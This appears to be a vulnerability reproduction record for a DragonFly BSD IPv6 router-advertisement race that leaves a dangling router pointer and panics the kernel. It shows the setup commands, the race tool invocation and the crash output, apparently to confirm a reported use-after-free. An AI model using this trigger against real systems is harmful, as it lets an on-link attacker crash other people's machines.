=== DF-0417 decisive reproduction run (UNPATCHED GENERIC #0, with-src) ===
Guest: DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026
Setup (as root, simulating on-link attacker position):
  sysctl net.inet6.ip6.accept_rtadv=1
  ifconfig tap0 create up ; sleep 2 ; ndflagset tap0   (sets ND6_IFF_ACCEPT_RTADV)
Race:
  reader (background):  while true; do ndp -p >/dev/null; done
  racer:                ./ra_race_mt -t 3 -p 8 -s 40
                        (3 threads, 8 prefix-info options/RA, alternating
                         CREATE lifetime=1800 / DELETE lifetime=0 for the same
                         router fe80::dead:beef:cafe, unicast to tap0)
Result: guest DOWN within ~4 seconds.  Serial console (boot.log) shows:

  Fatal user address access from kernel mode from ndp at ffffffff807e7295
  Fatal trap 12: page fault while in kernel mode
  cpuid = 4; lapic id = 4
  fault virtual address  = 0x48
  fault code             = supervisor read data, page not present
  instruction pointer    = 0x8:0xffffffff807e7295
  current process        = 1118 (ndp -p)
  kernel: type 12 trap, code=0
  Stopped at nd6_sysctl_prlist.part.10+0x165: movq 0x48(%rsi),%rdx

ANALYSIS: the create/delete RA race (defrtrlist_update returns an
unreferenced dr, lock released; concurrent DELETE frees dr while a CREATE's
unlocked prefix loop stores dr into a prefix's pfxrtr list) left a DANGLING
pfr->router pointer.  The prefix-list reader (ndp -p -> nd6_sysctl_prlist)
then dereferenced it at nd6.c:2248 (pfr->router->rtaddr) -> page fault ->
panic.  This is precisely the deferred UAF sink the finding cites.